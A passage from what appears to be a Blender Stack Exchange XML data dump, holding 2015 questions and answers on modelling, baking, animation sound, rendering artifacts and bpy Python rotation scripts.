href=&quot;http://www.blendswap.com/user/simtron&quot; rel=&quot;nofollow noreferrer&quot;&gt;simitron&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-29T10:02:40.147" LastActivityDate="2015-08-29T10:02:40.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36652" PostTypeId="2" ParentId="36616" CreationDate="2015-08-29T10:22:30.573" Score="1" Body="&lt;p&gt;As staded by &lt;a href=&quot;https://blender.stackexchange.com/users/13343/yvain&quot;&gt;@Yvain&lt;/a&gt; baking one object maps to another involves projecting them on the baking faces. If you move the object away, or the faces are not pointing each other, you'll not get expected results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vSjrmm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vSjrmm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/OEX9Rm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OEX9Rm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it would be cool not to have the object in the same place for baking highres to low, a similar behaviour would limit the user possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just the tip of the iceberg, as baking normal maps involves many aspects, such as resolution, uv maps, shading, cages...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest to have a look of these tutorial:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=kGszEIT4Kww&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Fundamentals of Perfect Baking&lt;/a&gt; (not blender related)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=jOMnNb82DRI&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender 2.71 - Cycles Baking using Cages&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-08-29T10:35:15.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36653" PostTypeId="1" AcceptedAnswerId="36657" CreationDate="2015-08-29T10:41:51.450" Score="4" ViewCount="3005" Body="&lt;p&gt;I want to make an animation in time to a song so when I hit play on the timeline I need to be able to hear the song so I can finely tune the animations to start and end at the right time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to have sound play on an animation while it is playing in the 3d viewport before it has been rendered.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2015-08-29T12:35:07.660" Title="Add sound to animation preview" Tags="&lt;animation&gt;&lt;3d-view&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36654" PostTypeId="2" ParentId="36524" CreationDate="2015-08-29T11:07:58.927" Score="0" Body="&lt;p&gt;All the given answers in the comments work correctly and as I expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finally ended up using the &lt;code&gt;Node Groups&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="16589" LastActivityDate="2015-08-29T11:07:58.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36655" PostTypeId="1" AcceptedAnswerId="36662" CreationDate="2015-08-29T12:10:16.180" Score="3" ViewCount="1409" Body="&lt;p&gt;I have tried for tinyCAD, Dynamic Space Bar, Intersect Tool and EdgeTools, Automerge and other stock options, but if I create a &lt;em&gt;new&lt;/em&gt; vertex (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;) and constrain it to an axis and I &lt;strong&gt;snap it on another edge&lt;/strong&gt;, it &lt;strong&gt;&lt;em&gt;does not merge together and become a lovely piece with that edge&lt;/em&gt;&lt;/strong&gt;. &#xA;Besides, I have a small space to snap the Vertex &lt;em&gt;near to&lt;/em&gt; Edge, but not &lt;strong&gt;on&lt;/strong&gt; the edge. And I still couldn't figure out how I to merge the Vertex with the Edge &lt;em&gt;afterwards&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Fsi7i.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fsi7i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But besides that I really like Blender so far and a lot of things are really well thought out and so I think it is me who is wrong.&lt;/p&gt;&#xA;" OwnerUserId="16769" LastEditorUserId="241" LastEditDate="2015-08-29T15:24:12.927" LastActivityDate="2015-08-29T15:24:12.927" Title="Why does a vertex not become part of the edge it was snapped to?" Tags="&lt;modeling&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36656" PostTypeId="2" ParentId="36647" CreationDate="2015-08-29T12:12:38.213" Score="1" Body="&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; executes this operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.transform_apply( rotation = True )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="241" LastEditDate="2015-08-29T15:28:01.670" LastActivityDate="2015-08-29T15:28:01.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36657" PostTypeId="2" ParentId="36653" CreationDate="2015-08-29T12:16:38.340" Score="7" Body="&lt;p&gt;To get 3D Sound you could add a &lt;strong&gt;Speaker&lt;/strong&gt; to the scene&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Egy6k.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Egy6k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and choose the sound file in the &lt;strong&gt;Properties&lt;/strong&gt; window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KvkAj.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KvkAj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can adjust the playback time in the &lt;strong&gt;NLA&lt;/strong&gt; editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5qaIi.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5qaIi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or as another variant you could just use the &lt;strong&gt;Video Sequence Editor&lt;/strong&gt; and add a sound file there. This will be plain playback with no positional audio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/txEBN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/txEBN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The synchronization of audio and video/viewport playback can be set in the timeline. AV-sync will drop frames in the viewport if the scene is too heavy, so the timing will still be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nijbS.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nijbS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2015-08-29T12:35:07.660" LastActivityDate="2015-08-29T12:35:07.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36658" PostTypeId="1" AcceptedAnswerId="36661" CreationDate="2015-08-29T12:16:57.690" Score="5" ViewCount="409" Body="&lt;p&gt;I want to subdivide a face whose neighbour's faces are subdivided. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of such a face:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/WXlPZYz.png&quot; alt=&quot;example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I subdivide selected faces?&lt;/p&gt;&#xA;" OwnerUserId="16475" LastEditorUserId="241" LastEditDate="2015-08-29T15:18:34.077" LastActivityDate="2015-08-29T15:18:34.077" Title="How can I subdivide a face which is next to a face that is already subdivided?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36659" PostTypeId="1" CreationDate="2015-08-29T12:26:29.263" Score="3" ViewCount="455" Body="&lt;p&gt;I have a rather simple glass material on a wine glass model, it renders perfectly fine in preview, but in final render it gets these black artifacts around edges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked other threads and tried tweaking the near/far clip but it doesnt seem to affect the issue. I've also upped the light paths to full global illumination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Xorhy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xorhy.jpg&quot; alt=&quot;Preview render to left, final render to right&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material and render settings:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cHKbX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cHKbX.png&quot; alt=&quot;Material to the left, render settings to the right&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the cause of this? Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="16770" LastActivityDate="2015-12-02T13:58:58.430" Title="Black artifacts only in final render" Tags="&lt;rendering&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36661" PostTypeId="2" ParentId="36658" CreationDate="2015-08-29T12:55:20.383" Score="5" Body="&lt;p&gt;As these are ngons, you aren't able to use neither Loopcut, nor &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Subdivide&lt;/em&gt;. So you can do that in 2 ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select ngon's edge in the bottom and subdivide it. Use then &lt;kbd&gt;J&lt;/kbd&gt; to connect vertices and split faces.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lHKEY.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lHKEY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;K&lt;/kbd&gt; to activate &lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/subdividing/knife_subdivide.html?highlight=knife%20tool&quot; rel=&quot;noreferrer&quot;&gt;Knife Tool&lt;/a&gt;. By clicking &lt;kbd&gt;LMB&lt;/kbd&gt; you mark places where vertice will be placed. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x7Sg3.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x7Sg3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-08-29T12:55:20.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36662" PostTypeId="2" ParentId="36655" CreationDate="2015-08-29T12:58:26.853" Score="1" Body="&lt;p&gt;To be able to merge this vertex with the edge you have to have another vertex as a part of the edge, to do so, select the edge and by pressing the &lt;kbd&gt;W&lt;/kbd&gt; key subdivide it once then you can slide the vertex where you want by pressing &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;, and now you can merge this vertex with the other vertices.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-29T12:58:26.853" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36663" PostTypeId="2" ParentId="36659" CreationDate="2015-08-29T13:23:38.940" Score="2" Body="&lt;p&gt;The problem was smooth shading, as pointed out by Igor Tatarnikov and Hexbob6.  I needed to apply an edge-split modifier to the problematic geometry to fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/questions/36537/why-does-the-minecraft-texture-have-black-dark-borders-in-cycles/36538#36538&quot;&gt;Why does the Minecraft-texture have black/dark borders in Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16770" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-08-29T13:23:38.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36664" PostTypeId="1" AcceptedAnswerId="36683" CreationDate="2015-08-29T13:27:44.160" Score="5" ViewCount="1202" Body="&lt;p&gt;I'm making a first person shooter game and I want to make it so when the right mouse button is being held down the, the player looks down the sights, and when the right button is released it returns to the normal view.&#xA;So this is the normal view from the camera:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MHi4I.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MHi4I.png&quot; alt=&quot;normal view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what I want it to look like when the player is holding the right mouse button (The gun moved to the left an backwards a bit:)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Frh9R.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Frh9R.png&quot; alt=&quot;zoomed view&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem I encountered while trying to do this was that I already have a shoot animation, so how do I have different actions on one object?&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2016-12-27T22:01:38.197" Title="Blender Game Engine: While mouse button is pressed" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36665" PostTypeId="1" CreationDate="2015-08-29T13:56:03.890" Score="1" ViewCount="90" Body="&lt;p&gt;Well, basically that's it. What are this texture mapping modes? Is there pros and cons of each one?&lt;/p&gt;&#xA;" OwnerUserId="16617" LastActivityDate="2015-08-29T13:56:03.890" Title="What is Generated Mapping and UV Mapping? And what is the difference?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-29T17:00:03.657" ContentLicense="CC BY-SA 3.0" />
  <row Id="36666" PostTypeId="1" AcceptedAnswerId="36671" CreationDate="2015-08-29T14:08:57.623" Score="2" ViewCount="1704" Body="&lt;p&gt;Hi, beginner here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some mesh with 4 different UV maps. Each map has assigned a texture. Is there any way to join this textures into single image without changing their position?&#xA;Im working in Blender render.&lt;/p&gt;&#xA;" OwnerUserId="16771" LastActivityDate="2015-08-29T15:17:38.123" Title="How to merge textures into single image" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36667" PostTypeId="1" CreationDate="2015-08-29T14:23:16.033" Score="2" ViewCount="278" Body="&lt;p&gt;I have 35 objects, and I need to rotate them such that they complete a 180° rotation. Thus, I need each one to rotate n*5.14°.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this easily in Blender?&lt;/p&gt;&#xA;" OwnerUserId="15445" LastActivityDate="2015-08-30T07:54:15.233" Title="Rotate Models Incrementally" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36668" PostTypeId="2" ParentId="36647" CreationDate="2015-08-29T14:58:10.960" Score="7" Body="&lt;p&gt;To apply transformation really low-level, you should probably set the object's matrix directly and avoid &lt;code&gt;bpy.ops.object.transform_apply()&lt;/code&gt; entirely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import radians&#xA;from mathutils import Euler, Matrix&#xA;&#xA;euler = Euler(map(radians, (0, 0, 45)), 'XYZ')&#xA;&#xA;ob = bpy.context.object&#xA;&#xA;loc, rot, scale = ob.matrix_world.decompose()&#xA;&#xA;smat = Matrix()&#xA;for i in range(3):&#xA;    smat[i][i] = scale[i]&#xA;&#xA;mat = Matrix.Translation(loc) * euler.to_matrix().to_4x4() * smat&#xA;&#xA;ob.matrix_world = mat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the last line to &lt;code&gt;ob.matrix_local = ob.matrix_parent_inverse * mat&lt;/code&gt; if you want to set a rotation of &lt;code&gt;0°, 0°, 45°&lt;/code&gt; (as seen in Object tab) even if the object is parented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code might need further adjustments if drivers or modifiers are involved, non-uniform scaling in combination with parenting does not seems to work fine however.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-08-29T15:04:16.587" LastActivityDate="2015-08-29T15:04:16.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36669" PostTypeId="2" ParentId="36667" CreationDate="2015-08-29T15:04:15.863" Score="3" Body="&lt;p&gt;It's a little hard to tell exactly what you're asking, but if you're looking to form a bunch of objects into a 180° semicircle, you can use an &lt;strong&gt;Array Modifier&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/grBlG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/grBlG.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use an &lt;em&gt;Empty&lt;/em&gt; as the offset object of the modifier, and keep the origin of the object in the same place as the empty. Then you can rotate the empty by &lt;code&gt;180/(35-1)&lt;/code&gt; to get the right increments to fill up 180°.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/445/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=445&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-08-30T07:54:15.233" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36671" PostTypeId="2" ParentId="36666" CreationDate="2015-08-29T15:17:38.123" Score="0" Body="&lt;p&gt;Look up Blender Texture Atlas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also,&#xA;You can create a new image, in the image editor, large enough to hold the resolution you want. &#xA;Then, create a new texture layer, to use the new image, and bake the original textures to the new Texture. You will just have to move the UV maps around so they don't overlap during baking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info on that &lt;a href=&quot;https://www.blender.org/manual/render/workflows/bake.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/15510/possible-to-bake-texture-to-new-uv-map&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="674" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-08-29T15:17:38.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36672" PostTypeId="1" CreationDate="2015-08-29T15:19:00.610" Score="4" ViewCount="4143" Body="&lt;p&gt;I am trying to do what I thought would be a simple task but turned out to be a very frustrating endeavor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to program an object to undergo a long series of random 90-degree rotations around the origin of the object, which coincides with the World's origin. I am using Python to set the angles and create keyframes. Let's say I need a 90-degree rotation around the global X, then 90-degree around Y and then -90 around X again. The following code does not work properly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.data.objects[&quot;Sphere&quot;]&#xA;obj.animation_data_clear()&#xA;&#xA;obj.rotation_euler = [0, 0, 0]&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=1, index=0)&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=1, index=1)&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=1, index=2)&#xA;&#xA;# rotate 90 around x&#xA;obj.rotation_euler.x += pi / 2&#xA;&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=20, index=0)&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=20, index=1)&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=20, index=2)&#xA;&#xA;# rotate 90 around y&#xA;&#xA;obj.rotation_euler.y += pi / 2&#xA;&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=40, index=0)&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=40, index=1)&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=40, index=2)&#xA;&#xA;# rotate -90 around x&#xA;obj.rotation_euler.x -= pi / 2&#xA;&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=60, index=0)&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=60, index=1)&#xA;obj.keyframe_insert(data_path=&quot;rotation_euler&quot;, frame=60, index=2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Depending on the rotation mode (XYZ, ZYX, etc.) the results are different and never what I want them to be. For example, under XYZ, the first two rotations are correct, but the 3rd rotation ends up being around the Z-axis instead of Y. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I make those rotations consistent, and without wobbling? Someone please point me in the righ direction. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16772" LastActivityDate="2016-11-10T02:21:46.383" Title="A sequence of 90-degree rotations with Python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36674" PostTypeId="1" AcceptedAnswerId="36680" CreationDate="2015-08-29T15:48:49.703" Score="7" ViewCount="3543" Body="&lt;p&gt;I downloaded an 80s cartoon intro (&lt;em&gt;Jem and the Holograms&lt;/em&gt;; traditional cel animation) and I want to animate cutout photos of various family members' faces overtop the cartoon faces. Bonus points if I can apply some &quot;worn out VHS tape&quot; effect to the photo faces. Time permitting, I might even like to add some Terry Gilliam cutout jaw movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set up tracker points for the cartoon characters' eyes in the Movie Clip Editor, how do I get the photo face to follow these points, such that closely spaced markers indicate the photo face should be smaller/further away and vice versa, or approximate the head tilt like the popular &quot;Elf Yourself&quot; Christmas videos that were hot a few years ago? This seems doubly difficult since the cel animation has a lot of quick cuts and scene changes.&lt;/p&gt;&#xA;" OwnerUserId="16773" LastEditorDisplayName="user1853" LastEditDate="2016-07-24T20:13:02.297" LastActivityDate="2016-07-24T20:15:15.940" Title="How do I overlay a photo of a face over a character on a video?" Tags="&lt;animation&gt;&lt;compositor&gt;&lt;tracking&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36675" PostTypeId="1" AcceptedAnswerId="36679" CreationDate="2015-08-29T16:14:38.020" Score="4" ViewCount="5116" Body="&lt;p&gt;Having a difficult time finding the correct name for this, but I have some photos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm specifically trying to model a sniper scope, and some of the circular rings on it have ridges on them, but I'm not sure how to model the ridges/grooves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/eY2aiTi&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/eY2aiTi.jpg&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or these google searches might show what I'm trying to explain better:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sniper scope: &lt;a href=&quot;http://tinyurl.com/qxyzwoc&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tinyurl.com/qxyzwoc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Camera Dial: &lt;a href=&quot;http://tinyurl.com/ndmzawr&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tinyurl.com/ndmzawr&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially a ring with ridges on it, I'm not sure how to model it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The poke tool is definitely not working for me, and I cannot add loop cuts to everything. What's the best method for going about modeling this?&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="2952" LastEditDate="2015-08-29T18:55:42.547" LastActivityDate="2015-12-04T16:28:29.340" Title="How to model a ridged dial or gear shape" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36676" PostTypeId="1" CreationDate="2015-08-29T16:23:48.337" Score="3" ViewCount="2953" Body="&lt;p&gt;If you duplicate an object in edit mode with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;, and then hit &lt;kbd&gt;P&lt;/kbd&gt; to make it its own object, it deselects and remains in place over/with the original object. What’s the keyboard move to determine/select the duplicate object from the original one (not using the outline)? Andrew Price does this too fast to figure out.&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="241" LastEditDate="2015-08-29T17:04:29.203" LastActivityDate="2015-08-29T17:17:12.870" Title="How to select overlapping objects" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36677" PostTypeId="2" ParentId="36676" CreationDate="2015-08-29T17:01:09.637" Score="7" Body="&lt;p&gt;If multiple objects are very close together or even overlapping entirely and visually indistinguishable from one another, you can use &lt;kbd&gt;Alt&lt;/kbd&gt; + right click to get a drop-down menu that allows you to choose from a list of objects in that area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the screen shot below there are actually two identical cubes overlapping. The menu lets us choose which one to select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gLhxN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gLhxN.png&quot; alt=&quot;Alt+RMB brings up the Select Menu&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/manual/modeling/objects/selecting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;More on this and other selection methods in the Blender Reference Manual.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-08-29T17:17:12.870" LastActivityDate="2015-08-29T17:17:12.870" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36678" PostTypeId="2" ParentId="36675" CreationDate="2015-08-29T17:38:01.667" Score="2" Body="&lt;p&gt;Here are the steps to create the groves:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a Cylinder (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Mesh &gt; Cylinder&lt;/em&gt;)   &lt;/li&gt;&#xA;&lt;li&gt;Select all side faces  &lt;/li&gt;&#xA;&lt;li&gt;Use checker deselect (hit &lt;kbd&gt;space&lt;/kbd&gt; and type &lt;em&gt;Checker Deselect&lt;/em&gt;)  &lt;/li&gt;&#xA;&lt;li&gt;Extrude the selected faces with &lt;kbd&gt;E&lt;/kbd&gt; and choose the right size by moving the cursor&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="3710" LastEditDate="2015-12-04T16:28:29.340" LastActivityDate="2015-12-04T16:28:29.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
